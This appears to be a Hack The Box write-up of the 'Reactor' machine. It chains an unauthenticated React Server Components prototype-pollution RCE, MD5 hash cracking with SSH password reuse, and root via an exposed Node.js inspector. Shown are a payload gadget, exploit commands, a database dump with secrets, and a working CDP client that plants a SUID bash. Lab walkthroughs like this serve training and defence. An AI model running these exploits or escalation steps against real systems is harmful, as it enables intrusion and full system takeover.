Back to blog
← Back to posts

HTB: Reactor


Reactor is a straight line drawn through three modern-stack mistakes. The foothold is CVE-2025-55182 — the "React2Shell" prototype-pollution RCE in React Server Components — against a Next.js reactor-monitoring dashboard, landing unauthenticated code execution as the node service account. A SQLite file in the app directory holds an unsalted MD5 that rockyou cracks in seconds; the same string is the engineer user's SSH password. Root is the tidy part: a root-owned uptime-monitor service runs Node with --inspect bound to 127.0.0.1:9229, so anyone local can attach to the Node.js Inspector over the Chrome DevTools Protocol and Runtime.evaluate arbitrary code inside a root process.
ReactorWatch — Core Monitoring System dashboard: core status OK, core temp 324C, pressure 155 bar, coolant flow, turbine output, system logs and on-site personnel panels
Next.js :3000 CVE-2025-55182 RSC RCE node (uid 999) reactor.db — MD5 rockyou → reactor1 engineer (SSH) node --inspect :9229 (root) root
Reactor attack chain: unauthenticated React Server Components RCE for foothold, an unsalted MD5 from reactor.db cracked to the engineer SSH password for user.txt, and a root Node.js Inspector on loopback driven via Runtime.evaluate for root.txt

Reconnaissance

Nmap

Two ports. SSH is the exit; everything happens on 3000.

nmap
SP1R4@kali)-[~] └$ nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> -oA reactor PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) 3000/tcp open http Node.js (Next.js) |_http-title: ReactorWatch | Core Monitoring System

Port 3000 is a Next.js app — the response headers make that unambiguous, and they also tell us it is server-rendering React components, which is the whole attack surface for the foothold:

curl -sI http://<TARGET_IP>:3000/
HTTP/1.1 200 OK Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch X-Powered-By: Next.js Cache-Control: s-maxage=31536000 Content-Type: text/html; charset=utf-8

The page itself is a static-looking "ReactorWatch" SCADA dashboard — no login, no obvious input. The Vary: RSC header is the hint: this app accepts React Server Component action requests, and that is exactly what CVE-2025-55182 abuses.

Foothold — CVE-2025-55182 (React2Shell)

CVE-2025-55182 is an unauthenticated RCE in React Server Components (Next.js tracks its own copy as CVE-2025-66478). The short version: the RSC "server action" reply parser will follow a __proto__ key inside the serialised model, and a crafted _response._prefix value is written into a string that the deserialiser later evaluates. Set that prefix to a snippet that reaches child_process and the payload runs in the Node process — no auth, no valid action id needed. The trigger is a single multipart POST / with a Next-Action header and a body shaped like a resolved-promise model:

the payload gadget (abridged)
part "0" = {"then":"$5:__proto__:then","status":"resolved_model","reason":-3, "value":"{\"then\":\"$B1A5E\"}", "_response":{ "_prefix":"var r=process.mainModule.require('child_process') .execSync('id').toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`NEXT_REDIRECT;push;/login?a=${btoa(r)};307;`});", "_chunks":"$Q2", "_formData":{"get":"$5:constructor:constructor"}}} parts "1".."5" wire the reference chain; command output comes back base64-encoded in the X-Action-Redirect response header.

Rather than hand-roll the multipart framing, I used a public PoC (Chocapikk/CVE-2025-55182) that builds the gadget and decodes the redirect header for you:

exploit.py — sanity check
SP1R4@kali)-[~] └$ python3 exploit.py -u http://<TARGET_IP>:3000 -c "id" Success uid=999(node) gid=988(node) groups=988(node)

Unauthenticated code execution as node. The app lives in /opt/reactor-app; two files there are worth reading — .env and a SQLite database:

exploit.py -c "cat .env; sqlite3 reactor.db .dump"
DB_PATH=/opt/reactor-app/reactor.db SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook NODE_ENV=production --- CREATE TABLE users ( id INTEGER PRIMARY KEY, username TEXT NOT NULL, password_hash TEXT NOT NULL, role TEXT NOT NULL, email TEXT ); INSERT INTO users VALUES(1,'admin', 'a203b22191d744a4e70ada5c101b17b8','administrator','admin@reactor.htb'); INSERT INTO users VALUES(2,'engineer', '39d97110eafe2a9a68639812cd271e8e','operator','engineer@reactor.htb');
Two 32-hex password hashes, no $ prefix, no salt column — bare unsalted MD5. A password column that can't tell you its own algorithm is already a finding.

engineer — Crack the MD5, reuse it over SSH

hashcat mode 0 is raw MD5. The engineer hash falls to rockyou immediately; admin doesn't crack (and doesn't need to):

hashcat -m 0
SP1R4@kali)-[~] └$ hashcat -m 0 -a 0 hashes.txt rockyou.txt --quiet 39d97110eafe2a9a68639812cd271e8e:reactor1

The users table stores a web-app role, but people reuse passwords across the boxes that host their apps — and engineer is a real local account:

ssh engineer@<TARGET_IP>
SP1R4@kali)-[~] └$ sshpass -p 'reactor1' ssh engineer@<TARGET_IP> engineer@reactor:~$ id && cat user.txt uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd) [redacted — user flag]

engineer → root — the Node.js Inspector nobody closed

Process and socket enumeration turns up one thing that doesn't belong: a second Node process, owned by root, started with --inspect.

ps -ef / ss -tlnp
engineer@reactor:~$ ps -ef | grep -E 'inspect|node' | grep -v grep ; ss -tlnp root 1310 1 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js LISTEN 127.0.0.1:9229 # the V8 inspector — root LISTEN 127.0.0.1:3000 # the ReactorWatch app — node LISTEN 0.0.0.0:22

/opt/uptime-monitor/worker.js is an unremarkable script — it curls the dashboard every 30 s and appends a CSV row. What matters is how it was launched. The --inspect flag opens the V8 Inspector: a WebSocket speaking the Chrome DevTools Protocol that lets a client set breakpoints, read memory, and — the useful part — evaluate arbitrary JavaScript in the process. It is bound to loopback, but we have a shell on the box, so loopback is us. There is no token or origin check on the raw protocol.

--inspect is a development flag. In production it is equivalent to leaving a root REPL listening on a socket. The correct posture is: never in prod, and if you must, use --inspect under a dedicated unprivileged user with the port firewalled.

Driving the protocol without a debugger

The documented path is node inspect 127.0.0.1:9229, but that REPL is awkward to script over SSH, and the box has no ws module and no Python websockets library. The DevTools Protocol is just JSON over a WebSocket, though, and a WebSocket is just an HTTP upgrade plus a 4-byte XOR mask — about forty lines of dependency-free Node. First get the debugger's session UUID from the inspector's HTTP side, then send one Runtime.evaluate:

cdp.js — minimal CDP client
const net = require('net'), crypto = require('crypto'); const [PATH, EXPR] = process.argv.slice(2); const key = crypto.randomBytes(16).toString('base64'); const sock = net.connect(9229, '127.0.0.1', () => sock.write( `GET ${PATH} HTTP/1.1\r\nHost: 127.0.0.1:9229\r\n` + `Upgrade: websocket\r\nConnection: Upgrade\r\n` + `Sec-WebSocket-Key: ${key}\r\nSec-WebSocket-Version: 13\r\n\r\n`)); function send(obj) { # masked text frame const p = Buffer.from(JSON.stringify(obj)), m = crypto.randomBytes(4); const h = p.length < 126 ? Buffer.from([0x81, 0x80 | p.length]) : Buffer.concat([Buffer.from([0x81, 0xFE]), u16(p.length)]); sock.write(Buffer.concat([h, m, p.map((b,i) => b ^ m[i % 4])])); } let up = false, buf = Buffer.alloc(0); sock.on('data', d => { buf = Buffer.concat([buf, d]); if (!up) { if (!buf.includes('\r\n\r\n')) return; up = true; buf = buf.slice(buf.indexOf('\r\n\r\n') + 4); send({ id: 1, method: 'Runtime.evaluate', params: { expression: EXPR, returnByValue: true } }); } const j = readFrame(buf); # parse server frame(s) if (j && j.id === 1) { console.log(JSON.stringify(j.result.result)); process.exit(0); } });

The expression runs in the worker's global scope, so process.mainModule.require is reachable. Drop a SUID copy of bash:

attach → Runtime.evaluate → SUID bash
engineer@reactor:~$ WS=$(curl -s http://127.0.0.1:9229/json | grep -oP '"id": "\K[^"]+') engineer@reactor:~$ node cdp.js "/$WS" \ "process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rooot && chmod +s /tmp/rooot; id').toString()" {"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"} engineer@reactor:~$ /tmp/rooot -p -c 'id; cat /root/root.txt' uid=1000(engineer) euid=0(root) gid=1000(engineer) egid=0(root) [redacted — root flag]
Diagram of the privilege escalation: engineer's dependency-free cdp.js does a raw TCP WebSocket handshake to the root node --inspect listener on 127.0.0.1:9229, sends Runtime.evaluate over the DevTools protocol into the root V8 context, which execSyncs a SUID bash copy that is then run with -p for a root shell and root.txt
bash -p keeps the effective UID from the SUID bit instead of dropping it — that's why the shell is euid=0 even though the real UID is still engineer. Plain /tmp/rooot without -p would have dropped back to 1000.

Why it worked

StageRoot cause
nodeRSC action-reply deserialiser follows __proto__ and evaluates an attacker-controlled _prefix — prototype pollution to RCE, CVE-2025-55182 (CWE-1321 / CWE-94)
engineerPasswords stored as unsalted MD5; that password reused for the system SSH account (CWE-759 / CWE-521)
rootRoot service started with --inspect; V8 Inspector is an unauthenticated code-execution channel to anyone on loopback (CWE-489 / CWE-306)

Key commands

quick reference
# Recon nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> curl -sI http://<TARGET_IP>:3000/ # X-Powered-By: Next.js, Vary: RSC # Foothold — CVE-2025-55182 RSC prototype-pollution RCE python3 exploit.py -u http://<TARGET_IP>:3000 -c "id" # uid=999(node) python3 exploit.py -u http://<TARGET_IP>:3000 -c "sqlite3 /opt/reactor-app/reactor.db .dump" # engineer — crack + reuse hashcat -m 0 -a 0 hashes.txt rockyou.txt # 39d9... : reactor1 ssh engineer@<TARGET_IP> # user.txt # root — attach to the root Node.js Inspector on 127.0.0.1:9229 ps -ef | grep -- --inspect ; curl -s http://127.0.0.1:9229/json node cdp.js "/$WS" "process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rooot && chmod +s /tmp/rooot')" /tmp/rooot -p -c 'cat /root/root.txt'